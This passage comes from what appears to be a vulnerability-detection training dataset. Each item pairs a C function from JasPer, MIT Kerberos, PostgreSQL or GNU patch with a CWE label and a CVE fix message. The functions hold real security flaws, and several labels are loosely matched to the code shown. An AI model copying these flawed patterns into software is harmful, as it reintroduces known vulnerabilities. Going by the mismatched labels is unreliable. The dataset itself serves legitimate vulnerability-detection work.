cmpt->width;\n\t\t\tcompinfo->height = cmpt->height;\n\t\t\tcompinfo->hstep = cmpt->hstep;\n\t\t\tcompinfo->vstep = cmpt->vstep;\n\t\t}\n\n\t\tif (!(dec->image = jas_image_create(dec->numcomps, compinfos,\n\t\t JAS_CLRSPC_UNKNOWN))) {\n\t\t\treturn -1;\n\t\t}\n\t\tjas_free(compinfos);\n\n\t\t/* Is the packet header information stored in PPM marker segments in\n\t\t the main header? */\n\t\tif (dec->ppmstab) {\n\t\t\t/* Convert the PPM marker segment data into a collection of streams\n\t\t\t (one stream per tile-part). */\n\t\t\tif (!(dec->pkthdrstreams = jpc_ppmstabtostreams(dec->ppmstab))) {\n\t\t\t\tabort();\n\t\t\t}\n\t\t\tjpc_ppxstab_destroy(dec->ppmstab);\n\t\t\tdec->ppmstab = 0;\n\t\t}\n\t}\n\n\tif (sot->len > 0) {\n\t\tdec->curtileendoff = jas_stream_getrwcount(dec->in) - ms->len -\n\t\t 4 + sot->len;\n\t} else {\n\t\tdec->curtileendoff = 0;\n\t}\n\n\tif (JAS_CAST(int, sot->tileno) > dec->numtiles) {\n\t\tjas_eprintf(\"invalid tile number in SOT marker segment\\n\");\n\t\treturn -1;\n\t}\n\t/* Set the current tile. */\n\tdec->curtile = &dec->tiles[sot->tileno];\n\ttile = dec->curtile;\n\t/* Ensure that this is the expected part number. */\n\tif (sot->partno != tile->partno) {\n\t\treturn -1;\n\t}\n\tif (tile->numparts > 0 && sot->partno >= tile->numparts) {\n\t\treturn -1;\n\t}\n\tif (!tile->numparts && sot->numparts > 0) {\n\t\ttile->numparts = sot->numparts;\n\t}\n\n\ttile->pptstab = 0;\n\n\tswitch (tile->state) {\n\tcase JPC_TILE_INIT:\n\t\t/* This is the first tile-part for this tile. */\n\t\ttile->state = JPC_TILE_ACTIVE;\n\t\tassert(!tile->cp);\n\t\tif (!(tile->cp = jpc_dec_cp_copy(dec->cp))) {\n\t\t\treturn -1;\n\t\t}\n\t\tjpc_dec_cp_resetflags(dec->cp);\n\t\tbreak;\n\tdefault:\n\t\tif (sot->numparts == sot->partno - 1) {\n\t\t\ttile->state = JPC_TILE_ACTIVELAST;\n\t\t}\n\t\tbreak;\n\t}\n\n\t/* Note: We do not increment the expected tile-part number until\n\t all processing for this tile-part is complete. */\n\n\t/* We should expect to encounter other tile-part header marker\n\t segments next. */\n\tdec->state = JPC_TPH;\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-189'], 'message': 'CVE-2014-8157'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: main(int argc, char *argv[])\n{\n OM_uint32 minor, major;\n gss_ctx_id_t context;\n gss_union_ctx_id_desc uctx;\n krb5_gss_ctx_id_rec kgctx;\n krb5_key k1, k2;\n krb5_keyblock kb1, kb2;\n gss_buffer_desc in, out;\n unsigned char k1buf[32], k2buf[32], outbuf[44];\n size_t i;\n\n /*\n * Fake up just enough of a krb5 GSS context to make gss_pseudo_random\n * work, with chosen subkeys and acceptor subkeys. If we implement\n * gss_import_lucid_sec_context, we can rewrite this to use public\n * interfaces and stop using private headers and internal knowledge of the\n * implementation.\n */\n context = (gss_ctx_id_t)&uctx;\n uctx.mech_type = &mech_krb5;\n uctx.internal_ctx_id = (gss_ctx_id_t)&kgctx;\n kgctx.k5_context = NULL;\n kgctx.have_acceptor_subkey = 1;\n kb1.contents = k1buf;\n kb2.contents = k2buf;\n for (i = 0; i < sizeof(tests) / sizeof(*tests); i++) {\n /* Set up the keys for this test. */\n kb1.enctype = tests[i].enctype;\n kb1.length = fromhex(tests[i].key1, k1buf);\n check_k5err(NULL, \"create_key\", krb5_k_create_key(NULL, &kb1, &k1));\n kgctx.subkey = k1;\n kb2.enctype = tests[i].enctype;\n kb2.length = fromhex(tests[i].key2, k2buf);\n check_k5err(NULL, \"create_key\", krb5_k_create_key(NULL, &kb2, &k2));\n kgctx.acceptor_subkey = k2;\n\n /* Generate a PRF value with the subkey and an empty input, and compare\n * it to the first expected output. */\n in.length = 0;\n in.value = NULL;\n major = gss_pseudo_random(&minor, context, GSS_C_PRF_KEY_PARTIAL, &in,\n 44, &out);\n check_gsserr(\"gss_pseudo_random\", major, minor);\n (void)fromhex(tests[i].out1, outbuf);\n assert(out.length == 44 && memcmp(out.value, outbuf, 44) == 0);\n (void)gss_release_buffer(&minor, &out);\n\n /* Generate a PRF value with the acceptor subkey and the 61-byte input\n * string, and compare it to the second expected output. */\n in.length = strlen(inputstr);\n in.value = (char *)inputstr;\n major = gss_pseudo_random(&minor, context, GSS_C_PRF_KEY_FULL, &in, 44,\n &out);\n check_gsserr(\"gss_pseudo_random\", major, minor);\n (void)fromhex(tests[i].out2, outbuf);\n assert(out.length == 44 && memcmp(out.value, outbuf, 44) == 0);\n (void)gss_release_buffer(&minor, &out);\n\n /* Also check that generating zero bytes of output works. */\n major = gss_pseudo_random(&minor, context, GSS_C_PRF_KEY_FULL, &in, 0,\n &out);\n check_gsserr(\"gss_pseudo_random\", major, minor);\n assert(out.length == 0);\n (void)gss_release_buffer(&minor, &out);\n\n krb5_k_free_key(NULL, k1);\n krb5_k_free_key(NULL, k2);\n }\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-703'], 'message': 'Fix gss_process_context_token() [CVE-2014-5352]\n\n[MITKRB5-SA-2015-001] The krb5 gss_process_context_token() should not\nactually delete the context; that leaves the caller with a dangling\npointer and no way to know that it is invalid. Instead, mark the\ncontext as terminated, and check for terminated contexts in the GSS\nfunctions which expect established contexts. Also add checks in\nexport_sec_context and pseudo_random, and adjust t_prf.c for the\npseudo_random check.\n\nticket: 8055 (new)\ntarget_version: 1.13.1\ntags: pullup'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: krb5_gss_context_time(minor_status, context_handle, time_rec)\n OM_uint32 *minor_status;\n gss_ctx_id_t context_handle;\n OM_uint32 *time_rec;\n{\n krb5_error_code code;\n krb5_gss_ctx_id_rec *ctx;\n krb5_timestamp now;\n krb5_deltat lifetime;\n\n ctx = (krb5_gss_ctx_id_rec *) context_handle;\n\n if (! ctx->established) {\n *minor_status = KG_CTX_INCOMPLETE;\n return(GSS_S_NO_CONTEXT);\n }\n\n if ((code = krb5_timeofday(ctx->k5_context, &now))) {\n *minor_status = code;\n save_error_info(*minor_status, ctx->k5_context);\n return(GSS_S_FAILURE);\n }\n\n if ((lifetime = ctx->krb_times.endtime - now) <= 0) {\n *time_rec = 0;\n *minor_status = 0;\n return(GSS_S_CONTEXT_EXPIRED);\n } else {\n *time_rec = lifetime;\n *minor_status = 0;\n return(GSS_S_COMPLETE);\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-703'], 'message': 'Fix gss_process_context_token() [CVE-2014-5352]\n\n[MITKRB5-SA-2015-001] The krb5 gss_process_context_token() should not\nactually delete the context; that leaves the caller with a dangling\npointer and no way to know that it is invalid. Instead, mark the\ncontext as terminated, and check for terminated contexts in the GSS\nfunctions which expect established contexts. Also add checks in\nexport_sec_context and pseudo_random, and adjust t_prf.c for the\npseudo_random check.\n\nticket: 8055 (new)\ntarget_version: 1.13.1\ntags: pullup'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: refresh_by_match_merge(Oid matviewOid, Oid tempOid, Oid relowner,\n\t\t\t\t\t int save_sec_context)\n{\n\tStringInfoData querybuf;\n\tRelation\tmatviewRel;\n\tRelation\ttempRel;\n\tchar\t *matviewname;\n\tchar\t *tempname;\n\tchar\t *diffname;\n\tTupleDesc\ttupdesc;\n\tbool\t\tfoundUniqueIndex;\n\tList\t *indexoidlist;\n\tListCell *indexoidscan;\n\tint16\t\trelnatts;\n\tbool\t *usedForQual;\n\n\tinitStringInfo(&querybuf);\n\tmatviewRel = heap_open(matviewOid, NoLock);\n\tmatviewname = quote_qualified_identifier(get_namespace_name(RelationGetNamespace(matviewRel)),\n\t\t\t\t\t\t\t\t\t\tRelationGetRelationName(matviewRel));\n\ttempRel = heap_open(tempOid, NoLock);\n\ttempname = quote_qualified_identifier(get_namespace_name(RelationGetNamespace(tempRel)),\n\t\t\t\t\t\t\t\t\t\t RelationGetRelationName(tempRel));\n\tdiffname = make_temptable_name_n(tempname, 2);\n\n\trelnatts = matviewRel->rd_rel->relnatts;\n\tusedForQual = (bool *) palloc0(sizeof(bool) * relnatts);\n\n\t/* Open SPI context. */\n\tif (SPI_connect() != SPI_OK_CONNECT)\n\t\telog(ERROR, \"SPI_connect failed\");\n\n\t/* Analyze the temp table with the new contents. */\n\tappendStringInfo(&querybuf, \"ANALYZE %s\", tempname);\n\tif (SPI_exec(querybuf.data, 0) != SPI_OK_UTILITY)\n\t\telog(ERROR, \"SPI_exec failed: %s\", querybuf.data);\n\n\t/*\n\t * We need to ensure that there are not duplicate rows without NULLs in\n\t * the new data set before we can count on the \"diff\" results. Check for\n\t * that in a way that allows showing the first duplicated row found. Even\n\t * after we pass this test, a unique index on the materialized view may\n\t * find a duplicate key problem.\n\t */\n\tresetStringInfo(&querybuf);\n\tappendStringInfo(&querybuf,\n\t\t\t\t\t \"SELECT newdata FROM %s newdata \"\n\t\t\t\t\t \"WHERE newdata IS NOT NULL AND EXISTS \"\n\t\t\t\t\t \"(SELECT * FROM %s newdata2 WHERE newdata2 IS NOT NULL \"\n\t\t\t\t\t \"AND newdata2 OPERATOR(pg_catalog.*=) newdata \"\n\t\t\t\t\t \"AND newdata2.ctid OPERATOR(pg_catalog.<>) \"\n\t\t\t\t\t \"newdata.ctid) LIMIT 1\",\n\t\t\t\t\t tempname, tempname);\n\tif (SPI_execute(querybuf.data, false, 1) != SPI_OK_SELECT)\n\t\telog(ERROR, \"SPI_exec failed: %s\", querybuf.data);\n\tif (SPI_processed > 0)\n\t{\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_CARDINALITY_VIOLATION),\n\t\t\t\t errmsg(\"new data for \\\"%s\\\" contains duplicate rows without any null columns\",\n\t\t\t\t\t\tRelationGetRelationName(matviewRel)),\n\t\t\t\t errdetail(\"Row: %s\",\n\t\t\tSPI_getvalue(SPI_tuptable->vals[0], SPI_tuptable->tupdesc, 1))));\n\t}\n\n\tSetUserIdAndSecContext(relowner,\n\t\t\t\t\t\t save_sec_context | SECURITY_LOCAL_USERID_CHANGE);\n\n\t/* Start building the query for creating the diff table. */\n\tresetStringInfo(&querybuf);\n\tappendStringInfo(&querybuf,\n\t\t\t\t\t \"CREATE TEMP TABLE %s AS \"\n\t\t\t\t\t \"SELECT mv.ctid AS tid, newdata \"\n\t\t\t\t\t \"FROM %s mv FULL JOIN %s newdata ON (\",\n\t\t\t\t\t diffname, matviewname, tempname);\n\n\t/*\n\t * Get the list of index OIDs for the table from the relcache, and look up\n\t * each one in the pg_index syscache. We will test for equality on all\n\t * columns present in all unique indexes which only reference columns and\n\t * include all rows.\n\t */\n\ttupdesc = matviewRel->rd_att;\n\tfoundUniqueIndex = false;\n\tindexoidlist = RelationGetIndexList(matviewRel);\n\n\tforeach(indexoidscan, indexoidlist)\n\t{\n\t\tOid\t\t\tindexoid = lfirst_oid(indexoidscan);\n\t\tRelation\tindexRel;\n\t\tForm_pg_index indexStruct;\n\n\t\tindexRel = index_open(indexoid, RowExclusiveLock);\n\t\tindexStruct = indexRel->rd_index;\n\n\t\t/*\n\t\t * We're only interested if it is unique, valid, contains no\n\t\t * expressions, and is not partial.\n\t\t */\n\t\tif (indexStruct->indisunique &&\n\t\t\tIndexIsValid(indexStruct) &&\n\t\t\tRelationGetIndexExpressions(indexRel) == NIL &&\n\t\t\tRelationGetIndexPredicate(indexRel) == NIL)\n\t\t{\n\t\t\tint\t\t\tnumatts = indexStruct->indnatts;\n\t\t\tint\t\t\ti;\n\n\t\t\t/* Add quals for all columns from this index. */\n\t\t\tfor (i = 0; i < numatts; i++)\n\t\t\t{\n\t\t\t\tint\t\t\tattnum = indexStruct->indkey.values[i];\n\t\t\t\tOid\t\t\ttype;\n\t\t\t\tOid\t\t\top;\n\t\t\t\tconst char *colname;\n\n\t\t\t\t/*\n\t\t\t\t * Only include the column once regardless of how many times\n\t\t\t\t * it shows up in how many indexes.\n\t\t\t\t */\n\t\t\t\tif (usedForQual[attnum - 1])\n\t\t\t\t\tcontinue;\n\t\t\t\tusedForQual[attnum - 1] = true;\n\n\t\t\t\t/*\n\t\t\t\t * Actually add the qual, ANDed with any others.\n\t\t\t\t */\n\t\t\t\tif (foundUniqueIndex)\n\t\t\t\t\tappendStringInfoString(&querybuf, \" AND \");\n\n\t\t\t\tcolname = quote_identifier(NameStr((tupdesc->attrs[attnum - 1])->attname));\n\t\t\t\tappendStringInfo(&querybuf, \"newdata.%s \", colname);\n\t\t\t\ttype = attnumTypeId(matviewRel, attnum);\n\t\t\t\top = lookup_type_cache(type, TYPECACHE_EQ_OPR)->eq_opr;\n\t\t\t\tmv_GenerateOper(&querybuf, op);\n\t\t\t\tappendStringInfo(&querybuf, \" mv.%s\", colname);\n\n\t\t\t\tfoundUniqueIndex = true;\n\t\t\t}\n\t\t}\n\n\t\t/* Keep the locks, since we're about to run DML which needs them. */\n\t\tindex_close(indexRel, NoLock);\n\t}\n\n\tlist_free(indexoidlist);\n\n\tif (!foundUniqueIndex)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_OBJECT_NOT_IN_PREREQUISITE_STATE),\n\t\t\t errmsg(\"cannot refresh materialized view \\\"%s\\\" concurrently\",\n\t\t\t\t\t matviewname),\n\t\t\t\t errhint(\"Create a unique index with no WHERE clause on one or more columns of the materialized view.\")));\n\n\tappendStringInfoString(&querybuf,\n\t\t\t\t\t\t \" AND newdata OPERATOR(pg_catalog.*=) mv) \"\n\t\t\t\t\t\t \"WHERE newdata IS NULL OR mv IS NULL \"\n\t\t\t\t\t\t \"ORDER BY tid\");\n\n\t/* Create the temporary \"diff\" table. */\n\tif (SPI_exec(querybuf.data, 0) != SPI_OK_UTILITY)\n\t\telog(ERROR, \"SPI_exec failed: %s\", querybuf.data);\n\n\tSetUserIdAndSecContext(relowner,\n\t\t\t\t\t\t save_sec_context | SECURITY_RESTRICTED_OPERATION);\n\n\t/*\n\t * We have no further use for data from the \"full-data\" temp table, but we\n\t * must keep it around because its type is referenced from the diff table.\n\t */\n\n\t/* Analyze the diff table. */\n\tresetStringInfo(&querybuf);\n\tappendStringInfo(&querybuf, \"ANALYZE %s\", diffname);\n\tif (SPI_exec(querybuf.data, 0) != SPI_OK_UTILITY)\n\t\telog(ERROR, \"SPI_exec failed: %s\", querybuf.data);\n\n\tOpenMatViewIncrementalMaintenance();\n\n\t/* Deletes must come before inserts; do them first. */\n\tresetStringInfo(&querybuf);\n\tappendStringInfo(&querybuf,\n\t\t\t\t \"DELETE FROM %s mv WHERE ctid OPERATOR(pg_catalog.=) ANY \"\n\t\t\t\t\t \"(SELECT diff.tid FROM %s diff \"\n\t\t\t\t\t \"WHERE diff.tid IS NOT NULL \"\n\t\t\t\t\t \"AND diff.newdata IS NULL)\",\n\t\t\t\t\t matviewname, diffname);\n\tif (SPI_exec(querybuf.data, 0) != SPI_OK_DELETE)\n\t\telog(ERROR, \"SPI_exec failed: %s\", querybuf.data);\n\n\t/* Inserts go last. */\n\tresetStringInfo(&querybuf);\n\tappendStringInfo(&querybuf,\n\t\t\t\t\t \"INSERT INTO %s SELECT (diff.newdata).* \"\n\t\t\t\t\t \"FROM %s diff WHERE tid IS NULL\",\n\t\t\t\t\t matviewname, diffname);\n\tif (SPI_exec(querybuf.data, 0) != SPI_OK_INSERT)\n\t\telog(ERROR, \"SPI_exec failed: %s\", querybuf.data);\n\n\t/* We're done maintaining the materialized view. */\n\tCloseMatViewIncrementalMaintenance();\n\theap_close(tempRel, NoLock);\n\theap_close(matviewRel, NoLock);\n\n\t/* Clean up temp tables. */\n\tresetStringInfo(&querybuf);\n\tappendStringInfo(&querybuf, \"DROP TABLE %s, %s\", diffname, tempname);\n\tif (SPI_exec(querybuf.data, 0) != SPI_OK_UTILITY)\n\t\telog(ERROR, \"SPI_exec failed: %s\", querybuf.data);\n\n\t/* Close SPI context. */\n\tif (SPI_finish() != SPI_OK_FINISH)\n\t\telog(ERROR, \"SPI_finish failed\");\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-209'], 'message': 'Fix column-privilege leak in error-message paths\n\nWhile building error messages to return to the user,\nBuildIndexValueDescription, ExecBuildSlotValueDescription and\nri_ReportViolation would happily include the entire key or entire row in\nthe result returned to the user, even if the user didn't have access to\nview all of the columns being included.\n\nInstead, include only those columns which the user is providing or which\nthe user has select rights on. If the user does not have any rights\nto view the table or any of the columns involved then no detail is\nprovided and a NULL value is returned from BuildIndexValueDescription\nand ExecBuildSlotValueDescription. Note that, for key cases, the user\nmust have access to all of the columns for the key to be shown; a\npartial key will not be returned.\n\nFurther, in master only, do not return any data for cases where row\nsecurity is enabled on the relation and row security should be applied\nfor the user. This required a bit of refactoring and moving of things\naround related to RLS- note the addition of utils/misc/rls.c.\n\nBack-patch all the way, as column-level privileges are now in all\nsupported versions.\n\nThis has been assigned CVE-2014-8161, but since the issue and the patch\nhave already been publicized on pgsql-hackers, there's no point in trying\nto hide this commit.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: another_hunk (enum diff difftype, bool rev)\n{\n char *s;\n lin context = 0;\n size_t chars_read;\n char numbuf0[LINENUM_LENGTH_BOUND + 1];\n char numbuf1[LINENUM_LENGTH_BOUND + 1];\n char numbuf2[LINENUM_LENGTH_BOUND + 1];\n char numbuf3[LINENUM_LENGTH_BOUND + 1];\n\n while (p_end >= 0) {\n\tif (p_end == p_efake)\n\t p_end = p_bfake;\t\t/* don't free twice */\n\telse\n\t free(p_line[p_end]);\n\tp_end--;\n }\n assert(p_end == -1);\n p_efake = -1;\n\n if (p_c_function)\n {\n\tfree (p_c_function);\n\tp_c_function = NULL;\n }\n\n p_max = hunkmax;\t\t\t/* gets reduced when --- found */\n if (difftype == CONTEXT_DIFF || difftype == NEW_CONTEXT_DIFF) {\n\tfile_offset line_beginning = file_tell (pfp);\n\t\t\t\t\t/* file pos of the current line */\n\tlin repl_beginning = 0;\t\t/* index of --- line */\n\tlin fillcnt = 0;\t/* #lines of missing ptrn or repl */\n\tlin fillsrc;\t\t/* index of first line to copy */\n\tlin filldst;\t\t/* index of first missing line */\n\tbool ptrn_spaces_eaten = false;\t/* ptrn was slightly misformed */\n\tbool some_context = false;\t/* (perhaps internal) context seen */\n\tbool repl_could_be_missing = true;\n\tbool ptrn_missing = false;\t/* The pattern was missing. */\n\tbool repl_missing = false;\t/* Likewise for replacement. */\n\tfile_offset repl_backtrack_position = 0;\n\t\t\t\t\t/* file pos of first repl line */\n\tlin repl_patch_line;\t\t/* input line number for same */\n\tlin repl_context;\t\t/* context for same */\n\tlin ptrn_prefix_context = -1;\t/* lines in pattern prefix context */\n\tlin ptrn_suffix_context = -1;\t/* lines in pattern suffix context */\n\tlin repl_prefix_context = -1;\t/* lines in replac. prefix context */\n\tlin ptrn_copiable = 0;\t\t/* # of copiable lines in ptrn */\n\tlin repl_copiable = 0;\t\t/* Likewise for replacement. */\n\n\t/* Pacify 'gcc -Wall'. */\n\tfillsrc = filldst = repl_patch_line = repl_context = 0;\n\n\tchars_read = get_line ();\n\tif (chars_read == (size_t) -1\n\t || chars_read <= 8\n\t || strncmp (buf, \"********\", 8) != 0) {\n\t next_intuit_at(line_beginning,p_input_line);\n\t return chars_read == (size_t) -1 ? -1 : 0;\n\t}\n\ts = buf;\n\twhile (*s == '*')\n\t s++;\n\tif (*s == ' ')\n\t {\n\t p_c_function = s;\n\t while (*s != '\\n')\n\t\ts++;\n\t *s = '\\0';\n\t p_c_function = savestr (p_c_function);\n\t if (! p_c_function)\n\t return -1;\n\t }\n\tp_hunk_beg = p_input_line + 1;\n\twhile (p_end < p_max) {\n\t chars_read = get_line ();\n\t if (chars_read == (size_t) -1)\n\t return -1;\n\t if (!chars_read) {\n\t\tif (repl_beginning && repl_could_be_missing) {\n\t\t repl_missing = true;\n\t\t goto hunk_done;\n\t\t}\n\t\tif (p_max - p_end < 4) {\n\t\t strcpy (buf, \" \\n\"); /* assume blank lines got chopped */\n\t\t chars_read = 3;\n\t\t} else {\n\t\t fatal (\"unexpected end of file in patch\");\n\t\t}\n\t }\n\t p_end++;\n\t if (p_end == hunkmax)\n\t fatal (\"unterminated hunk starting at line %s; giving up at line %s: %s\",\n\t\t format_linenum (numbuf0, pch_hunk_beg ()),\n\t\t format_linenum (numbuf1, p_input_line), buf);\n\t assert(p_end < hunkmax);\n\t p_Char[p_end] = *buf;\n\t p_len[p_end] = 0;\n\t p_line[p_end] = 0;\n\t switch (*buf) {\n\t case '*':\n\t\tif (strnEQ(buf, \"********\", 8)) {\n\t\t if (repl_beginning && repl_could_be_missing) {\n\t\t\trepl_missing = true;\n\t\t\tgoto hunk_done;\n\t\t }\n\t\t else\n\t\t fatal (\"unexpected end of hunk at line %s\",\n\t\t\t format_linenum (numbuf0, p_input_line));\n\t\t}\n\t\tif (p_end != 0) {\n\t\t if (repl_beginning && repl_could_be_missing) {\n\t\t\trepl_missing = true;\n\t\t\tgoto hunk_done;\n\t\t }\n\t\t fatal (\"unexpected '***' at line %s: %s\",\n\t\t\t format_linenum (numbuf0, p_input_line), buf);\n\t\t}\n\t\tcontext = 0;\n\t\tp_len[p_end] = strlen (buf);\n\t\tif (! (p_line[p_end] = savestr (buf))) {\n\t\t p_end--;\n\t\t return -1;\n\t\t}\n\t\tfor (s = buf; *s && !ISDIGIT (*s); s++)\n\t\t /* do nothing */ ;\n\t\tif (strnEQ(s,\"0,0\",3))\n\t\t remove_prefix (s, 2);\n\t\ts = scan_linenum (s, &p_first);\n\t\tif (*s == ',') {\n\t\t while (*s && !ISDIGIT (*s))\n\t\t s++;\n\t\t scan_linenum (s, &p_ptrn_lines);\n\t\t p_ptrn_lines += 1 - p_first;\n\t\t if (p_ptrn_lines < 0)\n\t\t malformed ();\n\t\t}\n\t\telse if (p_first)\n\t\t p_ptrn_lines = 1;\n\t\telse {\n\t\t p_ptrn_lines = 0;\n\t\t p_first = 1;\n\t\t}\n\t\tif (p_first >= LINENUM_MAX - p_ptrn_lines ||\n\t\t p_ptrn_lines >= LINENUM_MAX - 6)\n\t\t malformed ();\n\t\tp_max = p_ptrn_lines + 6;\t/* we need this much at least */\n\t\twhile (p_max + 1 >= hunkmax)\n\t\t if (! grow_hunkmax ())\n\t\t\treturn -1;\n\t\tp_max = hunkmax;\n\t\tbreak;\n\t case '-':\n\t\tif (buf[1] != '-')\n\t\t goto change_line;\n\t\tif (ptrn_prefix_context == -1)\n\t\t ptrn_prefix_context = context;\n\t\tptrn_suffix_context = context;\n\t\tif (repl_beginning\n\t\t || (p_end\n\t\t\t!= p_ptrn_lines + 1 + (p_Char[p_end - 1] == '\\n')))\n\t\t {\n\t\t if (p_end == 1)\n\t\t {\n\t\t\t/* 'Old' lines were omitted. Set up to fill\n\t\t\t them in from 'new' context lines. */\n\t\t\tptrn_missing = true;\n\t\t\tp_end = p_ptrn_lines + 1;\n\t\t\tptrn_prefix_context = ptrn_suffix_context = -1;\n\t\t\tfillsrc = p_end + 1;\n\t\t\tfilldst = 1;\n\t\t\tfillcnt = p_ptrn_lines;\n\t\t }\n\t\t else if (! repl_beginning)\n\t\t fatal (\"%s '---' at line %s; check line numbers at line %s\",\n\t\t\t (p_end <= p_ptrn_lines\n\t\t\t ? \"Premature\"\n\t\t\t : \"Overdue\"),\n\t\t\t format_linenum (numbuf0, p_input_line),\n\t\t\t format_linenum (numbuf1, p_hunk_beg));\n\t\t else if (! repl_could_be_missing)\n\t\t fatal (\"duplicate '---' at line %s; check line numbers at line %s\",\n\t\t\t format_linenum (numbuf0, p_input_line),\n\t\t\t format_linenum (numbuf1,\n\t\t\t\t\t p_hunk_beg + repl_beginning));\n\t\t else\n\t\t {\n\t\t\trepl_missing = true;\n\t\t\tgoto hunk_done;\n\t\t }\n\t\t }\n\t\trepl_beginning = p_end;\n\t\trepl_backtrack_position = file_tell (pfp);\n\t\trepl_patch_line = p_input_line;\n\t\trepl_context = context;\n\t\tp_len[p_end] = strlen (buf);\n\t\tif (! (p_line[p_end] = savestr (buf)))\n\t\t {\n\t\t p_end--;\n\t\t return -1;\n\t\t }\n\t\tp_Char[p_end] = '=';\n\t\tfor (s = buf; *s && ! ISDIGIT (*s); s++)\n\t\t /* do nothing */ ;\n\t\ts = scan_linenum (s, &p_newfirst);\n\t\tif (*s == ',')\n\t\t {\n\t\t do\n\t\t {\n\t\t\tif (!*++s)\n\t\t\t malformed ();\n\t\t }\n\t\t while (! ISDIGIT (*s));\n\t\t scan_linenum (s, &p_repl_lines);\n\t\t p_repl_lines += 1 - p_newfirst;\n\t\t if (p_repl_lines < 0)\n\t\t malformed ();\n\t\t }\n\t\telse if (p_newfirst)\n\t\t p_repl_lines = 1;\n\t\telse\n\t\t {\n\t\t p_repl_lines = 0;\n\t\t p_newfirst = 1;\n\t\t }\n\t\tif (p_newfirst >= LINENUM_MAX - p_repl_lines ||\n\t\t p_repl_lines >= LINENUM_MAX - p_end)\n\t\t malformed ();\n\t\tp_max = p_repl_lines + p_end;\n\t\twhile (p_max + 1 >= hunkmax)\n\t\t if (! grow_hunkmax ())\n\t\t return -1;\n\t\tif (p_repl_lines != ptrn_copiable\n\t\t && (p_prefix_context != 0\n\t\t\t|| context != 0\n\t\t\t|| p_repl_lines != 1))\n\t\t repl_could_be_missing = false;\n\t\tcontext = 0;\n\t\tbreak;\n\t case '+': case '!':\n\t\trepl_could_be_missing = false;\n\t change_line:\n\t\ts = buf + 1;\n\t\tchars_read--;\n\t\tif (*s == '\\n' && canonicalize) {\n\t\t strcpy (s, \" \\n\");\n\t\t chars_read = 2;\n\t\t}\n\t\tif (*s == ' ' || *s == '\\t') {\n\t\t s++;\n\t\t chars_read--;\n\t\t} else if (repl_beginning && repl_could_be_missing) {\n\t\t repl_missing = true;\n\t\t goto hunk_done;\n\t\t}\n\t\tif (! repl_beginning)\n\t\t {\n\t\t if (ptrn_prefix_context == -1)\n\t\t ptrn_prefix_context = context;\n\t\t }\n\t\telse\n\t\t {\n\t\t if (repl_prefix_context == -1)\n\t\t repl_prefix_context = context;\n\t\t }\n\t\tchars_read -=\n\t\t (1 < chars_read\n\t\t && p_end == (repl_beginning ? p_max : p_ptrn_lines)\n\t\t && incomplete_line ());\n\t\tp_len[p_end] = chars_read;\n\t\tp_line[p_end] = savebuf (s, chars_read);\n\t\tif (chars_read && ! p_line[p_end]) {\n\t\t p_end--;\n\t\t return -1;\n\t }\n\t\tcontext = 0;\n\t\tbreak;\n\t case '\\t': case '\\n':\t/* assume spaces got eaten */\n\t\ts = buf;\n\t\tif (*buf == '\\t') {\n\t\t s++;\n\t\t chars_read--;\n\t\t}\n\t\tif (repl_beginning && repl_could_be_missing &&\n\t\t (!ptrn_spaces_eaten || difftype == NEW_CONTEXT_DIFF) ) {\n\t\t repl_missing = true;\n\t\t goto hunk_done;\n\t\t}\n\t\tchars_read -=\n\t\t (1 < chars_read\n\t\t && p_end == (repl_beginning ? p_max : p_ptrn_lines)\n\t\t && incomplete_line ());\n\t\tp_len[p_end] = chars_read;\n\t\tp_line[p_end] = savebuf (buf, chars_read);\n\t\tif (chars_read && ! p_line[p_end]) {\n\t\t p_end--;\n\t\t return -1;\n\t\t}\n\t\tif (p_end != p_ptrn_lines + 1) {\n\t\t ptrn_spaces_eaten |= (repl_beginning != 0);\n\t\t some_context = true;\n\t\t context++;\n\t\t if (repl_beginning)\n\t\t\trepl_copiable++;\n\t\t else\n\t\t\tptrn_copiable++;\n\t\t p_Char[p_end] = ' ';\n\t\t}\n\t\tbreak;\n\t case ' ':\n\t\ts = buf + 1;\n\t\tchars_read--;\n\t\tif (*s == '\\n' && canonicalize) {\n\t\t strcpy (s, \"\\n\");\n\t\t chars_read = 2;\n\t\t}\n\t\tif (*s == ' ' || *s == '\\t') {\n\t\t s++;\n\t\t chars_read--;\n\t\t} else if (repl_beginning && repl_could_be_missing) {\n\t\t repl_missing = true;\n\t\t goto hunk_done;\n\t\t}\n\t\tsome_context = true;\n\t\tcontext++;\n\t\tif (repl_beginning)\n\t\t repl_copiable++;\n\t\telse\n\t\t ptrn_copiable++;\n\t\tchars_read -=\n\t\t (1 < chars_read\n\t\t && p_end == (repl_beginning ? p_max : p_ptrn_lines)\n\t\t && incomplete_line ());\n\t\tp_len[p_end] = chars_read;\n\t\tp_line[p_end] = savebuf (s, chars_read);\n\t\tif (chars_read && ! p_line[p_end]) {\n\t\t p_end--;\n\t\t return -1;\n\t\t}\n\t\tbreak;\n\t default:\n\t\tif (repl_beginning && repl_could_be_missing) {\n\t\t repl_missing = true;\n\t\t goto hunk_done;\n\t\t}\n\t\tmalformed ();\n\t }\n\t}\n\n hunk_done:\n\tif (p_end >=0 && !repl_beginning)\n\t fatal (\"no '---' found in patch at line %s\",\n\t\t format_linenum (numbuf0, 